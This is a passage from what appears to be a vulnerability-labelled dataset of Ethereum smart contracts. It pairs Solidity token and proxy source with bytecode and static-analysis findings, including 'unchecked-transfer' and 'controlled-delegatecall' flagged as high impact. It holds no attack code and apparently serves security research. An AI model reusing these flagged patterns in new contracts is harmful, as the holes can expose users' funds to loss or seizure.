[_owner][_spender]; } /** * Mapping from addresses of token holders to the numbers of tokens belonging * to these token holders. */ mapping (address => uint256) accounts; /** * Mapping from addresses of token holders to the mapping of addresses of * spenders to the allowances set by these token holders to these spenders. */ mapping (address => mapping (address => uint256)) private allowances; } /** * MDX token smart contract. */ contract MDXToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 500000000 * (10**10); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping (address => bool) private frozenAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ function MDXToken () { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = "MEDIEX"; string constant public symbol = "MDX"; uint8 constant public decimals = 10; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); // adding transfer event and _from address as null address emit Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) { require (msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * May only be called by smart contract owner. */ function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; emit Freeze (); } } /** * Unfreeze ALL token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers () { require (msg.sender == owner); if (frozen) { frozen = false; emit Unfreeze (); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below function is created */ function refundTokens(address _token, address _refund, uint256 _value) { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); emit RefundTokens(_token, _refund, _value); } /** * Freeze specific account * May only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; emit FrozenFunds(_target, freeze); } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae0565b005b34801561043c57600080fd5b50610445610d00565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d39565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc5565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e4c565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600681526020017f4d4544494558000000000000000000000000000000000000000000000000000081525081565b6000806106ed3385610dc5565b14806106f95750600082145b151561070457600080fd5b61070e8383610fad565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b61084484848461109f565b90505b9392505050565b600a81565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ad6576109d1674563918244f40000600454611485565b8211156109e15760009050610adb565b610a296000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149e565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a776004548361149e565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610adb565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b3e57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7957600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c1f57600080fd5b505af1158015610c33573d6000803e3d6000fd5b505050506040513d6020811015610c4957600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f4d4458000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9457600080fd5b600560009054906101000a900460ff1615610db25760009050610dbf565b610dbc83836114bc565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ea857600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee357600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110dc57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611169576000905061147e565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111b8576000905061147e565b6000821180156111f457508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114145761127f600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611485565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113476000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611485565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113d16000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149e565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149357fe5b818303905092915050565b60008082840190508381101515156114b257fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114f957600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156115485760009050611708565b60008211801561158457508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561169e576115d16000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611485565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149e565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a723058203d3ccf565ab1b5ce5f868016f93b0fa7833a6af7d674c55395641cca0d7d1bba0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
290
0x3e460895ddeea50dd67f098f1bceffb03f36a04c
/** *Submitted for verification at Etherscan.io on 2021-02-11 */ pragma solidity ^0.5.16; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract WanFarmErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED } enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK, SET_PENDING_ADMIN_OWNER_CHECK, SET_PENDING_IMPLEMENTATION_OWNER_CHECK } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } contract UniFarmAdminStorage { /** * @notice Administrator for this contract */ address public admin; /** * @notice Pending administrator for this contract */ address public pendingAdmin; /** * @notice Active brains of WanFarm */ address public wanFarmImplementation; /** * @notice Pending brains of WanFarm */ address public pendingWanFarmImplementation; } /** * @title ComptrollerCore * @dev Storage for the comptroller is at this address, while execution is delegated to the `wanFarmImplementation`. * CTokens should reference this contract as their comptroller. */ contract UniFarm is UniFarmAdminStorage, WanFarmErrorReporter { /** * @notice Emitted when pendingWanFarmImplementation is changed */ event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation); /** * @notice Emitted when pendingWanFarmImplementation is accepted, which means comptroller implementation is updated */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); constructor() public { // Set admin to caller admin = msg.sender; } /*** Admin Functions ***/ function _setPendingImplementation(address newPendingImplementation) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK); } address oldPendingImplementation = pendingWanFarmImplementation; pendingWanFarmImplementation = newPendingImplementation; emit NewPendingImplementation(oldPendingImplementation, pendingWanFarmImplementation); return uint(Error.NO_ERROR); } /** * @notice Accepts new implementation of comptroller. msg.sender must be pendingImplementation * @dev Admin function for new implementation to accept it's role as implementation * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptImplementation() public returns (uint) { // Check caller is pendingImplementation and pendingImplementation ≠ address(0) if (msg.sender != pendingWanFarmImplementation || pendingWanFarmImplementation == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK); } // Save current values for inclusion in log address oldImplementation = wanFarmImplementation; address oldPendingImplementation = pendingWanFarmImplementation; wanFarmImplementation = pendingWanFarmImplementation; pendingWanFarmImplementation = address(0); emit NewImplementation(oldImplementation, wanFarmImplementation); emit NewPendingImplementation(oldPendingImplementation, pendingWanFarmImplementation); return uint(Error.NO_ERROR); } /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address newPendingAdmin) public returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() public returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @dev Delegates execution to an implementation contract. * It returns to the external caller whatever the implementation returns * or forwards reverts. */ function () payable external { // delegate all other functions to current implementation (bool success, ) = wanFarmImplementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } }
0x60806040526004361061007b5760003560e01c8063c1e803341161004e578063c1e803341461019e578063e992a041146101b3578063e9c714f2146101e6578063f851a440146101fb5761007b565b806326782247146100fe5780634a036c501461012f5780636c6a0a0e14610144578063b71d1a0c14610159575b6002546040516000916001600160a01b031690829036908083838082843760405192019450600093509091505080830381855af49150503d80600081146100de576040519150601f19603f3d011682016040523d82523d6000602084013e6100e3565b606091505b505090506040513d6000823e8180156100fa573d82f35b3d82fd5b34801561010a57600080fd5b50610113610210565b604080516001600160a01b039092168252519081900360200190f35b34801561013b57600080fd5b5061011361021f565b34801561015057600080fd5b5061011361022e565b34801561016557600080fd5b5061018c6004803603602081101561017c57600080fd5b50356001600160a01b031661023d565b60408051918252519081900360200190f35b3480156101aa57600080fd5b5061018c6102ce565b3480156101bf57600080fd5b5061018c600480360360208110156101d657600080fd5b50356001600160a01b03166103c9565b3480156101f257600080fd5b5061018c61044d565b34801561020757600080fd5b50610113610533565b6001546001600160a01b031681565b6003546001600160a01b031681565b6002546001600160a01b031681565b600080546001600160a01b031633146102635761025c60016002610542565b90506102c9565b600180546001600160a01b038481166001600160a01b0319831681179093556040805191909216808252602082019390935281517fca4f2f25d0898edd99413412fb94012f9e54ec8142f9b093e7720646a95b16a9929181900390910190a160005b9150505b919050565b6003546000906001600160a01b0316331415806102f457506003546001600160a01b0316155b1561030b57610304600180610542565b90506103c6565b60028054600380546001600160a01b038082166001600160a01b031980861682179687905590921690925560408051938316808552949092166020840152815190927fd604de94d45953f9138079ec1b82d533cb2160c906d1076d1f7ed54befbca97a92908290030190a1600354604080516001600160a01b038085168252909216602083015280517fe945ccee5d701fc83f9b8aa8ca94ea4219ec1fcbd4f4cab4f0ea57c5c3e1d8159281900390910190a160005b925050505b90565b600080546001600160a01b031633146103e85761025c60016003610542565b600380546001600160a01b038481166001600160a01b0319831617928390556040805192821680845293909116602083015280517fe945ccee5d701fc83f9b8aa8ca94ea4219ec1fcbd4f4cab4f0ea57c5c3e1d8159281900390910190a160006102c5565b6001546000906001600160a01b031633141580610468575033155b156104795761030460016000610542565b60008054600180546001600160a01b038082166001600160a01b031980861682179687905590921690925560408051938316808552949092166020840152815190927ff9ffabca9c8276e99321725bcb43fb076a6c66a54b7f21c4e8146d8519b417dc92908290030190a1600154604080516001600160a01b038085168252909216602083015280517fca4f2f25d0898edd99413412fb94012f9e54ec8142f9b093e7720646a95b16a99281900390910190a160006103c1565b6000546001600160a01b031681565b60007f45b96fe442630264581b197e84bbada861235052c5a1aadfff9ea4e40a969aa083600181111561057157fe5b83600381111561057d57fe5b604080519283526020830191909152600082820152519081900360600190a18260018111156105a857fe5b939250505056fea265627a7a72315820551eb6e8a67d3a2965fd243e7e2a25a81587914e8795350764745743efbca3ad64736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
291
0xb5c26476200d5665ee6f2ee155d72327043495a4
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract UpgradeAgent { function upgradeFrom(address _from, uint256 _value) external; } contract ERC223Interface { uint public totalSupply; function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } contract ERC20Interface { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value, bytes data) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } contract ReceivingContract { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); } } contract Owned { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } function Owned() public { owner = msg.sender; } function changeOwner(address _newOwner) public onlyOwner { require(_newOwner != address(0)); OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract TORUE is ERC223Interface,ERC20Interface,Owned { using SafeMath for uint; string public name = "torue"; string public symbol = "TRE"; uint8 public decimals = 6; uint256 public totalSupply = 100e8 * 1e6; mapping (address => uint256) balances; mapping (address => uint256) public lockedAccounts; mapping (address => bool) public frozenAccounts; mapping (address => mapping (address => uint256)) internal allowed; mapping (address => bool) public salvageableAddresses; event Mint(address indexed to, uint256 amount); event MintFinished(); event Burn(address indexed burner, uint256 value); event DistributeTokens(uint count,uint256 totalAmount); event Upgrade(address indexed from, address indexed to, uint256 value); event AccountLocked(address indexed addr, uint256 releaseTime); event AccountFrozen(address indexed addr, bool frozen); address ownerAddress = 0xA0Bf23D5Ef64B6DdEbF5343a3C897c53005ee665; address lockupAddress1 = 0xB3c289934692ECE018d137fFcaB54631e6e2b405; address lockupAddress2 = 0x533c43AF0DDb5ee5215c0139d917F1A871ff9CB5; bool public compatible20 = true; bool public compatible223 = true; bool public compatible223ex = true; bool public mintingFinished = false; bool public salvageFinished = false; bool public paused = false; bool public upgradable = false; bool public upgradeAgentLocked = false; address public upgradeMaster; address public upgradeAgent; uint256 public totalUpgraded; modifier canMint() { require(!mintingFinished); _; } modifier isRunning(){ require(!paused); _; } function TORUE() public { require(msg.sender==ownerAddress); owner = ownerAddress; upgradeMaster = ownerAddress; balances[owner] = totalSupply.mul(70).div(100); balances[lockupAddress1] = totalSupply.mul(15).div(100); balances[lockupAddress2] = totalSupply.mul(15).div(100); paused = false; } function switchCompatible20(bool _value) onlyOwner public { compatible20 = _value; } function switchCompatible223(bool _value) onlyOwner public { compatible223 = _value; } function switchCompatible223ex(bool _value) onlyOwner public { compatible223ex = _value; } function switchPaused(bool _paused) onlyOwner public { paused = _paused; } function switchUpgradable(bool _value) onlyOwner public { upgradable = _value; } function switchUpgradeAgentLocked(bool _value) onlyOwner public { upgradeAgentLocked = _value; } function isUnlocked(address _addr) private view returns (bool){ return(now > lockedAccounts[_addr] && frozenAccounts[_addr] == false); } function isUnlockedBoth(address _addr) private view returns (bool){ return(now > lockedAccounts[msg.sender] && now > lockedAccounts[_addr] && frozenAccounts[msg.sender] == false && frozenAccounts[_addr] == false); } function lockAccounts(address[] _addresses, uint256 _releaseTime) onlyOwner public { require(_addresses.length > 0); for(uint j = 0; j < _addresses.length; j++){ require(lockedAccounts[_addresses[j]] < _releaseTime); lockedAccounts[_addresses[j]] = _releaseTime; AccountLocked(_addresses[j], _releaseTime); } } function freezeAccounts(address[] _addresses, bool _value) onlyOwner public { require(_addresses.length > 0); for (uint j = 0; j < _addresses.length; j++) { require(_addresses[j] != 0x0); frozenAccounts[_addresses[j]] = _value; AccountFrozen(_addresses[j], _value); } } function setSalvageable(address _addr, bool _value) onlyOwner public { salvageableAddresses[_addr] = _value; } function finishSalvage(address _addr) onlyOwner public returns (bool) { require(_addr==owner); salvageFinished = true; return true; } function salvageTokens(address _addr,uint256 _amount) onlyOwner public isRunning returns(bool) { require(_amount > 0 && balances[_addr] >= _amount); require(now > lockedAccounts[msg.sender] && now > lockedAccounts[_addr]); require(salvageableAddresses[_addr] == true && salvageFinished == false); balances[_addr] = balances[_addr].sub(_amount); balances[msg.sender] = 